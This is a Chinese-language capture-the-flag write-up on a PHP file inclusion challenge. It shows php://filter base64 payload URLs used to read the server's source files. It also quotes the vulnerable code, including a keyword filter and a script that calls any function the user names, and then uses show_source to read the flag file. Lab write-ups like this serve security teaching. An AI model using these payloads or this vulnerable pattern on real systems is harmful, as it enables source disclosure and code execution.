前置知识
网络安全 文件包含漏洞-CSDN博客
解题过程
打开靶场、进行信息收集
在源码中发现include文件,直接访问,自动添加了URL参数file
/include.php?file=index并且自动补齐了index参数,页面也跟初始页面相同,很明显是文件包含漏洞
直接尝试php伪协议读取下已知的源码,根据自动补齐的index参数,可以猜测后端是自动补齐.php,读取index.php:
/include.php?file=php://filter/read=convert.base64-encode/resource=index<?php print <<<EOT <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head> <body> <!--include.php--> <img src="img.jpg" alt="嘉木天下第一" /> </body> </html> EOT; ?>读取include.php:
/include.php?file=php://filter/read=convert.base64-encode/resource=include<?php error_reporting(0); @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/http|data|ftp|input|%00|flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100) { echo "<p> error! </p>"; } else { include($file.'.php'); setcookie("tips","createfun.php"); } } else { header('Location:include.php?file=index'); } ?>可以看到include.php过滤了敏感字符,我们无法直接读取flag
并且我们又看到另一个文件createfun.php,继续读取该文件:
/include.php?file=php://filter/read=convert.base64-encode/resource=createfun<?php $func = @$_GET['func']; $arg = @$_GET['arg']; if(isset($func)&&isset($arg)){$func($arg,'');}分析源码,获取两个参数,一个作为函数名,一个作为函数参数,然后会执行函数。
需要注意这个函数有两个参数,后面被自动设置为空,这里很多函数可以用,这里采用show_source,显示flag.php文件内容,这里flag.php可以通过前面include文件得出,也可以扫文件得到:
/createfun.php?func=show_source&arg=flag.php<?php $flag="nuaactf{php_IS_thE_best_language}"; ?>总结
一道基础的文件包含漏洞,包含了一些代码审计部分。